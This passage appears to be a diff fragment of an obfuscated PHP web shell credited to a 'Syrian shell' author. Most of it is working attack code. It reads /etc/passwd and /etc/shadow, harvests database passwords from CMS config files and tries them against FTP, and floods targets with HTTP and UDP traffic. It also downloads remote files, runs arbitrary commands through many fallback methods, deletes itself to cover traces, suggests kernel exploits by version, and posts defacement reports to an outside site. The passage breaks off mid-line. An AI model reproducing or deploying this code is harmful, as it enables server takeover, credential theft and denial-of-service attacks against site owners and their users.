CSS($iIi1i11l11OoIlIl);} + + +else if($_GET['id'] == 100){echo "<\142\x6f\144\171 \157n\154o\x61\144='Suicide();'>";} else if($_GET['id'] == 'Delete'){Suicide();} + + +function iI11i0Il0iO0iooi($file,$per) { if(function_exists('chmod')){$try = chmod($file,$per); } if(!$try){$try = Exe("\143h\x6do\144 $per $file"); } if($try){return true;} else{return false;} } function showUsers() { if($rows = Exe('cat /etc/passwd')){echo $rows;} elseif($rows= Exe('cat /etc/domainalias')){echo $rows;} elseif($rows= Exe('cat /etc/shadow')){echo $rows;} elseif($rows= Exe('cat /var/mail')) {echo $rows;} elseif($rows= Exe('cat /etc/valiases')) {echo $rows;} elseif(file_exists('/etc/passwd')) { for($uid=0;$uid<60000;$uid++) { $iiOo1o0i00I0i0OO = posix_getpwuid($uid); if (!empty($iiOo1o0i00I0i0OO)) {while (list ($key, $iIio1oOolli0oI1l) = each($iiOo1o0i00I0i0OO)){print "$iIio1oOolli0oI1l:";}print "\n";} } } else { echo "[-] \103\x61n'\164 \x53h\x6fw Users :( ... \123\157\162r\171 ";} } function i1lOlOi0I01ooOoo($url) { while(1) { $i0o1iOil1oIoI0I1 = curl_init($url); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_RETURNTRANSFER, 1); $do = curl_exec($i0o1iOil1oIoI0I1); curl_close($i0o1iOil1oIoI0I1); flush(); } echo "[+] D\104\x4f\123 A\x74t\x61\143k H\141s \104\157\156\x33 ."; return true; } function iOIilO1iIolIl11l($url) { $packets = 0; ignore_user_abort(TRUE); set_time_limit(0); for($i=0;$i<65000;$i++){$i00oiiolO100I10o .= 'X'; } while(1) { $packets++; $rand = rand(1,65000); $i10Oi1lOO10I1OoI = fsockopen('udp://'.$url, $rand, $il1Oi1OoO11I1OiI, $i1Oli10olOiIlloI, 5); if($i10Oi1lOO10I1OoI){fwrite($i10Oi1lOO10I1OoI, $i00oiiolO100I10o); fclose($i10Oi1lOO10I1OoI);} } echo "\125\x44\x50 \106l\157\157\144 : Com\x70\x6ce\x74e\144 \x77it\x68 $packets (" . round(($packets*65)/1024, 2) . " M\x42) packets a\166\x65r\x61gin\x67\n"; } function iiIolll1o11oIOll($os) { if($os == "\114\151\156\x75\170"){$iiIolll1o11oIOll = Exe('ls -lia');} else if ($os == "Windows"){$iiIolll1o11oIOll = Exe('dir');} if($iiIolll1o11oIOll){echo $iiIolll1o11oIOll;} else if(function_exists('opendir')) { if ($i10Ol0oo0Oo1Ii0I = opendir(getcwd())) { while (false !== ($file = readdir($i10Ol0oo0Oo1Ii0I))){echo "$file\n";} while ($file = readdir($i10Ol0oo0Oo1Ii0I)){echo "$file\n";} closedir($i10Ol0oo0Oo1Ii0I); } } else { $d=dir(getcwd()); if ($d) { while (false!==($file=$d->read())) { if ($file=="." || $file=="..") continue; clearstatcache(); list ($il1Ii0l0oilIoO1i, $i1oo1oi0oilOIiO1, $iO0Ol010oll1IolI, $ioOi11OO101OIiOo, $uid, $iO10i11lli0Iol1o, $iOi11OlOloo0I0ol, $size, $il0l1OoliOI0101l, $iI1oi10ooOiiIi1O, $i10ol11il0Ilii11, $il10i0iO0lIOiilO) = stat($file); if($windows) {echo date("d.\x6d.\131 H:i",$iI1oi10ooOiiIi1O);if(is_dir($file)) echo " <\x44\x49\x52> "; else printf("% 7s ",$size);} else { $owner = posix_getpwuid($uid); $iOo0111l1llIloOI = posix_getgrgid($iO10i11lli0Iol1o); echo $i1oo1oi0oilOIiO1." "; echo perms(fileperms($file)); printf("% 4d % 9s % 9s %7s ",$ioOi11OO101OIiOo,$owner['name'],$iOo0111l1llIloOI['name'],$size); echo date("d.\155.\131 H:i ",$iI1oi10ooOiiIi1O); }echo "$file\n"; }$d->close(); } } } function iloOl1lloloI1loI($fileURL) { $i10010oOiOOllIi0 = Exe('get '.$fileURL); if(!$i10010oOiOOllIi0){$i0iliOooiOOolIio = Exe('wget '.$fileURL);} elseif(!$i0iliOooiOOolIio){$iOol10O0lo0loII1 = Exe('curl -o '.$fileURL);} elseif(!$iOol10O0lo0loII1){$iO0lloO0l01OOI11 = Exe('lynx -source '.$fileURL);} if(!$iO0lloO0l01OOI11 && function_exists('file_get_contents') && function_exists('fwrite')) { $ioil11lioiiIO001 = file_get_contents($fileURL); iii0li0iIOii1III('newRemoteFile',$ioil11lioiiIO001); +} } function iioiio0iiI0loioo($file) { $il01l10iOoliIioO = fopen($file,'r'); +if(function_exists('fread')){echo fread($il01l10iOoliIioO,100000); } +elseif(function_exists('fgets')){echo fgets($il01l10iOoliIioO);} +elseif(function_exists('readfile')){echo readfile($il01l10iOoliIioO);} +elseif(function_exists('file_get_contents')) {$ilIIl11oiOllIol1 = file_get_contents($file, NULL, NULL, 0, 1000000);var_dump($ilIIl11oiOllIol1);} +else if(!is_dir(dirname(__FILE__)."/\150t\x74\x70:")) +{ if(!is_writable(dirname(__FILE__))) echo "\x49 c\141n'\164 \x63\162\x65\141\164e \150\164\164p:directory"; else { mkdir("\x68\164t\160:"); if(get_magic_quotes_gpc() == 1){$file = stripslashes($_POST['file']);} else{$file=$_POST['file'];} if((curl_exec(curl_init("\146\151\x6ce:ht\164p://../".htmlspecialchars_decode($file)))) and !empty($file)) die(); elseif(!empty($file)) die("\x53\x6frry... \x46\151\x6ce ".htmlspecialchars($file)." d\x6fe\x73\x6e'\x74 \145\170i\163ts \x6fr \171\x6f\x75 \x64\x6f\156'\x74 h\141v\145 \x70e\162\x6d\151\x73si\x6f\x6es."); } } elseif(function_exists('file')) +{ $ilIIl11oiOllIol1 = file($file); foreach ($ilIIl11oiOllIol1 as $io1olo1i0loOI0O0 => $iioi1li0110oIl10) { echo $iioi1li0110oIl10 . " +"; } } elseif(function_exists('copy')) +{ $tmp=tempnam('','cx'); copy('compress.zlib://'.$file,$tmp); $iii01iollOOIoo0l=fopen($tmp,'r'); $data=fread($iii01iollOOIoo0l,filesize($tmp)); fclose($iii01iollOOIoo0l); echo $data; } elseif(function_exists('mb_send_mail')) +{ if(file_exists('/tmp/mb_send_mail')){DeleteFile('/tmp/mb_send_mail');} mb_send_mail(NULL, NULL, NULL, NULL,'-C $file -X /tmp/mb_send_mail'); readfile('/tmp/mb_send_mail'); } else if(function_exists('curl_init')) +{ $i0o1iOil1oIoI0I1 = curl_init("\146i\x6c\145://".$file."\x00".__FILE__); var_dump(curl_exec($i0o1iOil1oIoI0I1)); } else if(is_object($il1ii0olO010oIll=new COM('WScript.shell'))){echo $exec=i1OO11Ol00IOo0l1("type '$file'",$il1ii0olO010oIll);} +else if(i11Ii10o0oIli1I1('win_shell_execute')){echo i0lI1o0loo0ooI1i("type '$file'");} +else if(i11Ii10o0oIli1I1('win32_create_service')){echo i0iliil1ii1iIOlo("type '$file'");} +else if(function_exists('imap_open') && ($file == '/etc/passwd')) +{ $i00O1OOOo000OIiI=imap_open('/etc/passwd','',''); $list=imap_list($i00O1OOOo000OIiI,$file,'*'); for($i=0;$i<count($list);$i++){echo $list[$i]."\n";} imap_close($i00O1OOOo000OIiI); $i00O1OOOo000OIiI=imap_open($file,'',''); $tmp=imap_body($i00O1OOOo000OIiI,1); echo $tmp; imap_close($i00O1OOOo000OIiI); } elseif(function_exists('tempnam')) +{ $iiOl1OOo1O1loIo1="./"; $temp=tempnam($iiOl1OOo1O1loIo1, "cx"); if(copy("\143o\x6dp\x72es\x73.\172\154\151\142://".$file, $temp)) { $iilIioO1001liIol = fopen($temp, "r"); $illo100ooi0OlIl1 = fread($iilIioO1001liIol, filesize($temp)); fclose($iilIioO1001liIol); echo htmlspecialchars($illo100ooi0OlIl1); DeleteFile($temp); } else {echo htmlspecialchars($file)."\144\x6f\163\145n'\164 \x65\x78\151st\163 \x6f\162 \x79\x6f\x75 \x64o\x6e't \150\141\166\145 \141\x63\143\145s\163.";} } elseif(substr(phpversion(),0,1) <'5'){echo "\x50l\x65a\163\145 \107\145\x6e\145r\x61\x74\x65 \x69ni.\x70\150\x70 \146\x69\x6c\145 \141nd \165se ?cmd=command";} elseif(Exe('cat '.$file.'')){echo Exe('cat '.$file.''); } elseif(function_exists('include')){include($file); } fclose($il01l10iOoliIioO); } function iIO0io1IO0OI1lii($host,$user,$pass,$db) { $connect = mysql_pconnect($host,$user,$pass); if(!$connect){echo "C\141\x6e'\x74 \x43\157\x6en\145\143t to [ ".$host." ] [ ".$user." ] [ ".$pass." ]"; return false; } else { $ioIOl0OOlO0O0IIO = mysql_select_db($db,$connect); if(!$ioIOl0OOlO0O0IIO){echo "\103an'\164 \x45nt\x65\x72 \x54h\x65 \x44at\141\x62\141\x73\145 [ ".$db." ]"; return false; } else{return true; return $connect;} } } function iOiIliO1iIoii1il($file) { $iIOiiiOlO1IOliO0=glob("$file*"); foreach ($iIOiiiOlO1IOliO0 as $v){echo "$v\n";} if(function_exists('imap_open')) { $i00O1OOOo000OIiI=imap_open('/etc/passwd','',''); $s=explode("|",$file); if(count($s)>1){$list=imap_list($i00O1OOOo000OIiI,trim($s[0]),trim($s[1]));} else {$list=imap_list($i00O1OOOo000OIiI,trim($i00O1OOOo000OIiI[0]),'*');} for($i=0;$i<count($list);$i++){imap_close($i00O1OOOo000OIiI);} } else if(is_object($il1ii0olO010oIll=new COM('WScript.shell'))) { $exec=i1OO11Ol00IOo0l1("\144\x69\x72 '$file'",$il1ii0olO010oIll); $exec=str_replace("\t",'',$exec); echo $exec; } else if(i11Ii10o0oIli1I1('win_shell_execute')){echo i0lI1o0loo0ooI1i("dir '$file'");} else if(i11Ii10o0oIli1I1('win32_create_service')){echo i0iliil1ii1iIOlo("d\x69r '$file'");} } function iIll1ll1iOoIoloo($domainToHack) { $iioIiOli00iI0Ilo = Exe("ls -\x6c\141 /\145\164\143/\x76\141\154\151\x61\163e\163/$domainToHack"); $iIO0l1i0OiIloO1I =0 ; for($i=0;$i<strlen($iioIiOli00iI0Ilo);$i++) { if($iIO0l1i0OiIloO1I >= 4){break;} if($iioIiOli00iI0Ilo[$i] == ' '){$iIO0l1i0OiIloO1I++;} if($iIO0l1i0OiIloO1I == 3){if($iioIiOli00iI0Ilo[$i] == " "){}else {$iioIi0ilOloII01o .= $iioIiOli00iI0Ilo[$i];}} }return $iioIi0ilOloII01o; } function i0olili01oiIl1Io($login,$pass) { $ftp=ftp_connect('127.0.0.1'); if ($ftp) { $i0IoililO0ooIl01=ftp_login($ftp,$login,$pass); if ($i0IoililO0ooIl01) { echo '[FTP] '.$login.':'.$pass." S\165\x63\143e\163\x73\n"; } else ftp_quit($ftp); } } function il0oll1olll0Io1l($path,$username) { if ($i10Ol0oo0Oo1Ii0I = opendir($path)) { while (false !== ($file = readdir($i10Ol0oo0Oo1Ii0I))) { $i1II1llooliIIi00="$path$file"; if (($file!='.') and ($file!='..')) { if (is_readable($i1II1llooliIIi00)) { $i0lll0l11OoI0IOl="$i1II1llooliIIi00/"; if (is_dir($i0lll0l11OoI0IOl)) { il0oll1olll0Io1l($i0lll0l11OoI0IOl,$username); } else { if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) { $pass=i111l1lliOlIOoIo($i1II1llooliIIi00); if ($pass!='') { echo "[+] $i1II1llooliIIi00\n$pass\n"; i0olili01oiIl1Io($username,$pass); } } } } +} } } } function i111l1lliOlIOoIo($link) { $config=fopen($link,'r'); while(!feof($config)) { $line=fgets($config); if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) { if (strrpos($line,'"')) $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3))); else $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3))); return $pass; } } } function ill0iiioI0III0I0() { if (getenv(HTTP_X_FORWARDED_FOR)){$ip=getenv(HTTP_X_FORWARDED_FOR);} elseif (getenv(HTTP_CLIENT_IP)){$ip=getenv(HTTP_CLIENT_IP);} else {$ip=getenv(REMOTE_ADDR);} return $ip; } function i0oO11oioOiOIiil() { $i0oO11oioOiOIiil = ini_get("\x6fp\x65n_\142as\x65\x64\x69\x72"); if (!$i0oO11oioOiOIiil){$i0oO11oioOiOIiil = '<font color="green">OFF</font>';} else {$i0oO11oioOiOIiil = '<font color="red">ON</font>';} return $i0oO11oioOiOIiil; } function iIl1l0O0ooOO1IOI($string) { $hex=''; for ($i=0; $i < strlen($string); $i++){$hex .= dechex(ord($string[$i]));}return $hex; } function SafeMode() { $safe_mode = ini_get("safe_mode"); if (!$safe_mode){$safe_mode = '<font color="green">OFF</font>';} else {$safe_mode = '<font color="red">ON</font>';} return $safe_mode; } function i01oiOo00oiIl1Io() { $i01oiOo00oiIl1Io = $_SERVER["\x53\x43\x52IP\124_\116\x41M\x45"]; $i01oiOo00oiIl1Io = Explode('/', $i01oiOo00oiIl1Io); $i01oiOo00oiIl1Io = $i01oiOo00oiIl1Io[count($i01oiOo00oiIl1Io) - 1]; return $i01oiOo00oiIl1Io; } function Suicide() {DeleteFile(i01oiOo00oiIl1Io());} function iIoii11ioiOOIoI1() { $v=php_uname(); $db=array('2.6.17'=>'prctl3, raptor_prctl, py2','2.6.16'=>'raptor_prctl, exp.sh, raptor, raptor2, h00lyshit','2.6.15'=>'py2, exp.sh, raptor, raptor2, h00lyshit','2.6.14'=>'raptor, raptor2, h00lyshit','2.6.13'=>'kdump, local26, py2, raptor_prctl, exp.sh, prctl3, h00lyshit','2.6.12'=>'h00lyshit','2.6.11'=>'krad3, krad, h00lyshit','2.6.10'=>'h00lyshit, stackgrow2, uselib24, exp.sh, krad, krad2','2.6.9'=>'exp.sh, krad3, py2, prctl3, h00lyshit','2.6.8'=>'h00lyshit, krad, krad2','2.6.7'=>'h00lyshit, krad, krad2','2.6.6'=>'h00lyshit, krad, krad2','2.6.2'=>'h00lyshit, krad, mremap_pte','2.6.'=>'prctl, kmdx, newsmp, pwned, ptrace_kmod, ong_bak','2.4.29'=>'elflbl, expand_stack, stackgrow2, uselib24, smpracer','2.4.27'=>'elfdump, uselib24','2.4.25'=>'uselib24','2.4.24'=>'mremap_pte, loko, uselib24','2.4.23'=>'mremap_pte, loko, uselib24','2.4.22'=>'loginx, brk, km2, loko, ptrace, uselib24, brk2, ptrace-kmod','2.4.21'=>'w00t, brk, uselib24, loginx, brk2, ptrace-kmod','2.4.20'=>'mremap_pte, w00t, brk, ave, uselib24, loginx, ptrace-kmod, ptrace, kmod','2.4.19'=>'newlocal, w00t, ave, uselib24, loginx, kmod','2.4.18'=>'km2, w00t, uselib24, loginx, kmod','2.4.17'=>'newlocal, w00t, uselib24, loginx, kmod','2.4.16'=>'w00t, uselib24, loginx','2.4.10'=>'w00t, brk, uselib24, loginx','2.4.9'=>'ptrace24, uselib24','2.4.'=>'kmdx, remap, pwned, ptrace_kmod, ong_bak','2.2.25'=>'mremap_pte','2.2.24'=>'ptrace','2.2.'=>'rip, ptrace'); foreach($db as $iI1oio1lOoo0I1oI=>$x)if(strstr($v,$iI1oio1lOoo0I1oI))return $x; if(!$iiiiiOOi0ololIOI)$iiiiiOOi0ololIOI='<font color="red">Not found.</font>'; return $iiiiiOOi0ololIOI; } function PostgreSQL() { if(function_exists('pg_connect')){$postgreSQL = '<font color="red">ON</font>';} else {$postgreSQL = '<font color="green">OFF</font>';}return $postgreSQL; } function Oracle() { if(function_exists('ocilogon')){$oracle = '<font color="red">ON</font>';} else {$oracle = '<font color="green">OFF</font>';}return $oracle; } function i1ol1ilOlIoIOOII($url, $hacker, $hackmode,$i0OIlil10ooiI0Io, $site ) { $iI1oio1lOoo0I1oI = curl_init(); curl_setopt($iI1oio1lOoo0I1oI, CURLOPT_URL, $url); curl_setopt($iI1oio1lOoo0I1oI,CURLOPT_POST,true); curl_setopt($iI1oio1lOoo0I1oI, CURLOPT_POSTFIELDS,"d\x65f\x61c\145r=".$hacker."&do\155ai\1561=". $site."&hackmode=".$hackmode."&\x72\145\141\x73o\156=".$i0OIlil10ooiI0Io); curl_setopt($iI1oio1lOoo0I1oI,CURLOPT_FOLLOWLOCATION, true); curl_setopt($iI1oio1lOoo0I1oI, CURLOPT_RETURNTRANSFER, true); $ilIOioilO0O1IO1i = curl_exec($iI1oio1lOoo0I1oI); curl_close($iI1oio1lOoo0I1oI);return $ilIOioilO0O1IO1i; } function MsSQL() { if(function_exists('mssql_connect')){$msSQL = '<font color="red">ON</font>';} else {$msSQL = '<font color="green">OFF</font>';}return $msSQL; } function il0iiOOoiIOOioil() { $ioIIiioOOl1lIi1I = function_exists('mysql_connect'); if($ioIIiioOOl1lIi1I){$mysql = '<font color="red">ON</font>';} else {$mysql = '<font color="green">OFF</font>';}return $mysql; } function iilI11l1o01IilIo($ScriptType) { +if($ScriptType == 'vb'){return "/\x69\156c\x6c\165\x64\145\x73/config.\x70\x68\x70";} elseif($ScriptType == 'wp'){return "/\167\160-config.\160\150p";} elseif($ScriptType == 'phpbb'){return "/config.p\x68p";} elseif($ScriptType == 'jos'){return "/\x63\157\156\x66\x69\x67\x75\x72a\x74i\x6fn.\160\150\x70";} elseif($ScriptType == 'ipb'){return "/\143o\x6e\146_\x67\154\x6f\x62\x61\154.p\150\x70";} elseif($ScriptType == 'smf'){return "/\123\145\x74\164\151\156\147s.\x70\x68\160 ";} elseif($ScriptType == 'mybb'){return "/\x69\156\143/config.\x70\150\x70 ";} } function Gzip() { if (function_exists('gzencode')){$gzip = '<font color="red">ON</font>';} else {$gzip = '<font color="green">OFF</font>';}return $gzip; } function MysqlI() { if (function_exists('mysqli_connect')){$mysqli = '<font color="red">ON</font>';} else {$mysqli = '<font color="green">OFF</font>';}return $mysqli; } function MSQL() { if (function_exists('msql_connect')){$mSql = '<font color="red">ON</font>';} else {$mSql = '<font color="green">OFF</font>';}return $mSql; } function iiIi1OiO1IlIOIi1() { if (function_exists('sqlite_open')){$iiIi1OiO1IlIOIi1 = '<font color="red">ON</font>';} else {$iiIi1OiO1IlIOIi1 = '<font color="green">OFF</font>';}return $iiIi1OiO1IlIOIi1; } function iilolol00IilOo1I() { if(ini_get('register_globals')){$iO0Oilioli1iI1Ii= '<font color="red">ON</font>';} else{$iO0Oilioli1iI1Ii= '<font color="green">OFF</font>';}return $iO0Oilioli1iI1Ii; } function i1iI1iliIoI0oOOi($size) { if($size >= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " \x47\x42";} elseif($size >= 1048576) {$size = round($size / 1048576 * 100) / 100 . " M\102";} elseif($size >= 1024) {$size = round($size / 1024 * 100) / 100 . " \113\x42";} else {$size = $size . " B";}return $size; } function Curl() { if(extension_loaded('curl')){$curl = '<font color="red">ON</font>';} else{$curl = '<font color="green">OFF</font>';}return $curl; } function iioO1iiiOOoIi1l0($scriptType) { if(file_exists('DecryptConfig.php')) { include("\x44\145c\x72\x79\x70\164\x43\x6fn\146\151\147.\160\x68p"); if($scriptType == 'vb') { $dbName = $config['Database']['dbname']; $prefix = $config['Database']['tableprefix']; $email = $config['Database']['technicalemail']; $host = $config['MasterServer']['servername']; $port = $config['MasterServer']['port']; $user = $config['MasterServer']['username']; $pass = $config['MasterServer']['password']; $admincp = $config['Misc']['admincpdir']; $iO0olioOo0O0I1IO = $config['Misc']['modcpdir']; } elseif($scriptType == 'wp') { $dbName = DB_NAME; $prefix = $table_prefix; $host = DB_HOST; $user = DB_USER; $pass = DB_PASS; } elseif($scriptType == 'jos') { $dbName = $db; $prefix = $ioOlioolio0IIoOo; $email = $i10olOl1io10IOll; $host = $host; $user = $user; $pass = $password; } elseif($scriptType == 'phpbb') { $host = $ioill00lo0lI1l1o; $port = $i1o1lOOi0liIllIo; $dbName = $dbname; $user = $ioO0i0O11OlIOlO1; $pass = $ioioiO0lo1OI1iiO; $prefix = $table_prefix; } elseif($scriptType == 'ipb') { $host = $INFO['sql_host']; $dbName = $INFO['sql_database']; $user = $INFO['sql_user']; $pass = $INFO['sql_pass']; $prefix = $INFO['sql_tbl_prefix']; } +elseif($scriptType == 'smf') { $dbName = $db_name; $pass = $iol1iO0Oli0IlOI1; $prefix = $iOool0o011iI0OIO; $host = $iOI1l0oiO0OI0l0o; $user = $db_user; $email = $iiool000ii1lOIli; } elseif($scriptType == 'mybb') { $host = $config['database']['hostname']; $user = $config['database']['username']; $pass = $config['database']['password']; $dbName = $config['database']['database']; $prefix = $config['database']['table_prefix']; $admincp = $config['admin_dir']; $prefix = $config['database']['table_prefix']; } echo ' +#-------------------------------# +# Config Informations # +#-------------------------------# +Host : '.$host.' +DB Name : '.$dbName.' +DB User : '.$user.' +DB Pass : '.$pass.' +Prefix : '.$prefix.' +Email : '.$email.' +Port : '.$port.' +ACP : '.$admincp.' +MCP : '.$iO0olioOo0O0I1IO.' +'; } else{echo "F\x69l\x65 De\143\x72y\160t\103o\x6e\146i\147.ph\x70 \116\157t \x45\x78\151s\x74\x73 !! ";} } function ilI1iii00OiI00I1() { echo '<table bgcolor="#cccccc" width="100%"><tr> + <td width="100%">[<sy><a href="#top">TOP</a></sy>] + <center><font color="gray" size="-2"><b> + <font color="gray">C0D3D By</font><sy>&nbsp; ~~ [ </sy> + <font color="gray">EH SyRiAn_34G13</font><sy> ] ~~ [ + </sy><font color="gray">sy34@msn.com</font><sy> ] + ~~ [ + </sy><font color="gray">www.syrian-shell.com</font><sy> ] + </sy></b> + </td> + </tr></table> + </tbody> + <a name="down"></a> + </body></html> + '; } function iOIllOOoi1li1IOi() { $i1l0i000ll0o1I1O=ini_get('upload_tmp_dir'); $iO1llOo01oll1IO0=getenv('USERPROFILE'); $io1o1o0ol0IO0011=getenv('ALLUSERSPROFILE'); $i10Oliii0liiI0Io=ini_get('session.save_path'); $ioil1i0O00lIOoI1=(getenv('TMP'))?getenv('TMP'):getenv('TEMP'); if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp'; if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp'; if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp'; if(is_dir($iO1llOo01oll1IO0) && is_writable($iO1llOo01oll1IO0))return $iO1llOo01oll1IO0; if(is_dir($io1o1o0ol0IO0011) && is_writable($io1o1o0ol0IO0011))return $io1o1o0ol0IO0011; if(is_dir($i10Oliii0liiI0Io) && is_writable($i10Oliii0liiI0Io))return $i10Oliii0liiI0Io; if(is_dir($i1l0i000ll0o1I1O) && is_writable($i1l0i000ll0o1I1O))return $i1l0i000ll0o1I1O; if(is_dir($ioil1i0O00lIOoI1) && is_writable($ioil1i0O00lIOoI1))return $ioil1i0O00lIOoI1; return '.'; } function i0lI1o0loo0ooI1i($command) { $name=iOIllOOoi1li1IOi()."\\".uniqid('NJ'); win_shell_execute('cmd.exe','',"/C $command >\"$name\""); sleep(1); $exec=file_get_contents($name); DeleteFile($name); return $exec; } function update() {echo "[+] U\x70\x64\141\x74\145 \x48a\163 \104\x30\156\x33 ^_^";} function i0iliil1ii1iIOlo($command) { $name=iOIllOOoi1li1IOi()."\\".uniqid('NJ'); $n=uniqid('NJ'); $cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec']; win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/\143 $command >\"$name\"")); win32_start_service($n); win32_stop_service($n); win32_delete_service($n); while(!file_exists($name))sleep(1); $exec=file_get_contents($name); DeleteFile($name); return $exec; } function iIlol10lO11Ii0Ol($command) { $name=iOIllOOoi1li1IOi()."\\".uniqid('NJ'); $iIl0loOO1lIoi00o=new ffi("[\154\x69b='ke\x72\x6e\x65\x6c\x33\062.\144ll'] i\156\164 WinExec(c\150a\162 *A\120P,\x69\x6et \x53\x57);"); $i0IoililO0ooIl01=$iIl0loOO1lIoi00o->WinExec("cmd.\x65\x78\x65 /\143 $command >\"$name\"",0); while(!file_exists($name))sleep(1); $exec=file_get_contents($name); DeleteFile($name); return $exec; } function i1OO11Ol00IOo0l1($command,$il1ii0olO010oIll) { $exec=$il1ii0olO010oIll->exec("cmd.\145x\145 /\143 $command"); $so=$exec->StdOut(); return $so->io00iOOlOI0ollI1(); } function iO0Illo1lO0lIoIl($command) { $perl=new perl(); ob_start(); $perl->eval("s\171s\164\x65m('".$command."')"); $exec=ob_get_contents(); ob_end_clean(); return $exec; } function Exe($command) { global $windows; $exec=$output=''; $iiOl10io00iI1o0i[]=array('pipe','r');$iiOl10io00iI1o0i[]=array('pipe','w'); if(function_exists('passthru')){ob_start();passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();} +elseif(function_exists('system')){$tmp=ob_get_contents();ob_clean();system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;} elseif(function_exists('exec')){exec($command,$output);$output=join("\n",$output);$exec=$output;} elseif(function_exists('shell_exec'))$exec=shell_exec($command); elseif(function_exists('popen')){$i10Oi1lOO10I1OoI = popen($command,"\x72"); {$result = "";while(!feof($i10Oi1lOO10I1OoI)){$result.=fread($i10Oi1lOO10I1OoI,1024);}pclose($i10Oi1lOO10I1OoI);} $exec = convert_cyr_string($result,"d","\x77");} elseif(function_exists('proc_open')){$i0IoililO0ooIl01=proc_open($command,$iiOl10io00iI1o0i,$ilOIi1011iloIl1I);while(!feof($ilOIi1011iloIl1I[1])){$line=fgets($ilOIi1011iloIl1I[1]);$output.=$line;}$exec=$output;proc_close($i0IoililO0ooIl01);} elseif(function_exists('win_shell_execute'))$exec=i0lI1o0loo0ooI1i($command); elseif(function_exists('win32_create_service'))$exec=i0iliil1ii1iIOlo($command); elseif(extension_loaded('ffi') && $windows)$exec=iIlol10lO11Ii0Ol($command); elseif(extension_loaded('perl'))$exec=iO0Illo1lO0lIoIl($command); return $exec; } function illolO1llo0iIi1l() { if(function_exists('get_magic_quotes_gpc')){$iOillO11lOO0I1I0 = get_magic_quotes_gpc();} if (empty($iOillO11lOO0I1I0)){$iOillO11lOO0I1I0 = '<font color="green">OFF</font>';} else {$iOillO11lOO0I1I0= '<font color="red">ON</font>';}return $iOillO11lOO0I1I0; } function DisableFunctions() { $ioli1OloillI0iOi = ini_get('disable_functions'); if (empty($ioli1OloillI0iOi)){$ioli1OloillI0iOi = '<font color="green">NONE</font>';}return $ioli1OloillI0iOi; } function i0IilOl1iIl0llOi($os) { if($os == 'Windows') { echo " + <se\x6c\145\143t name=alias > + <option value=''>\x4e\x4f\116\x45</option> + <option value='d\151\x72' >\x4c\x69\x73t \x44ire\x63\164or\x79</option> + <option value='d\151\x72 /s /w /\142 index.ph\x70'>F\x69\156\x64 index.\x70h\160 \x69n \143\x75\x72\162\145\156t \144\151r</option> + <option value='d\151r /s /w /b *config*.\160\x68p'>\x46\x69\156\x64 *config*.\160\x68\x70 in c\165\162\162\x65\156\x74 \x64\151\x72 &\x6e\x62sp; &\156b\x73\160; &\156\x62s\x70; &\156\x62\x73\x70; &\156\x62\x73\x70; &\156\x62s\x70; &\156b\x73p; &n\x62s\x70; &n\142\x73p; &\156\142s\160; &\156\x62sp; &\x6e\142\x73p; &\x6e\142\163\160; &\x6e\142\163p; &\156b\163p;</option> + <option value='\156et\163\164a\164 -\x61\156'>\123h\157w a\x63\164iv\145 conne\x63\x74\151ons</option> + <option value='\x6e\x65t start'>Sh\x6fw ru\x6en\x69\x6e\147 se\x72\x76\151c\145s</option> + <option value='\x74\141\x73kl\151s\164'>\x53\x68\x6f\x77 \x50\x72\157</option> + <option value='n\145\x74 user'>\125\163\145r \x61\x63co\x75\x6e\164\163</option> + <option value='\x6ee\164 v\x69\145\167'>\123\x68\157\167 \143\x6f\x6d\160\x75\x74er\163</option> + <option value='\141\x72\x70 -a'>AR\120 Ta\142\154e</option> + <option value='ip\x63\x6f\x6e\146\x69g /\x61ll'>\111P \x43\x6f\x6e\146\151\147\x75r\x61\x74\x69\x6f\x6e</option> + <option value='n\145\164\x73t\x61t -\x61\156'>n\x65\x74\x73t\x61t -\141\156</option> + <option value='sys\x74em\x69nfo'>S\171st\x65\155 \111\x6ef\157\x72\x6da\164io\156\x73</option> + <option value='\147e\x74ma\x63'>\107\x65\x74 \115a\143 Address</option> + </\x73e\x6c\145\x63\164> + "; } else { echo " + <s\145\154\145c\164 name=alias > + <option value=''>\x4e\x4f\x4e\x45</option> + <option value='\154s -\154\x61'>\114i\163\164 \144\151\162</option> + <option value='\x63\x61t /\145t\143/\x68\x6fs\x74s'>\111\x50 A\x64dr\x65ss\145s</option> + <option value='\x63\141t /\x70r\x6fc/\x73\x79s/\166\x6d/\x6d\x6dap_\x6din_\141dd\x72'>Che\143k \115MAP</option> + <option value='\x6c\x73attr -v\x61'>\154\151\x73\x74 f\x69l\145 a\x74\164\x72\151\142\165t\145\163 o\x6e a Linu\170 s\145\143o\156\144 \x65\x78t\145\x6e\144e\144 \146\151\x6ce s\x79\x73\x74\145m</option> + <option value='\x6ee\x74\x73t\141\164 -a\156 | \x67\x72\145\160 -i \x6c\x69\x73t\x65\156'>\163ho\167 \157\160\145n\x65\144 \160\157\162\x74\163</option> + <option value='\x66\151nd / -type \146 -\x70erm -04000 -l\163'>\x66\x69\x6e\144 \141ll \x73\165\x69\144 f\x69\x6c\x65s</option> + <option value='\146i\156\x64 . -type \x66 -\160\x65rm -04000 -l\163'>\x66\151nd sui\144 \146\x69\x6c\145\x73 i\x6e \143ur\x72\x65\x6et d\x69\162</option> + <option value='f\x69n\144 / -type \x66 -\x70\145\162\155 -02000 -ls'>\x66\x69\156\144 \x61\x6cl \x73g\151d f\x69\154\145\x73</option> + <option value='\x66i\x6e\x64 . -type \146 -\x70e\x72\x6d -02000 -\154\163'>\146\151\x6ed s\147\x69\x64 \146\151\154\145s i\x6e \x63ur\162en\164 dir</option> + <option value='fi\x6e\x64 / -type \146 -name 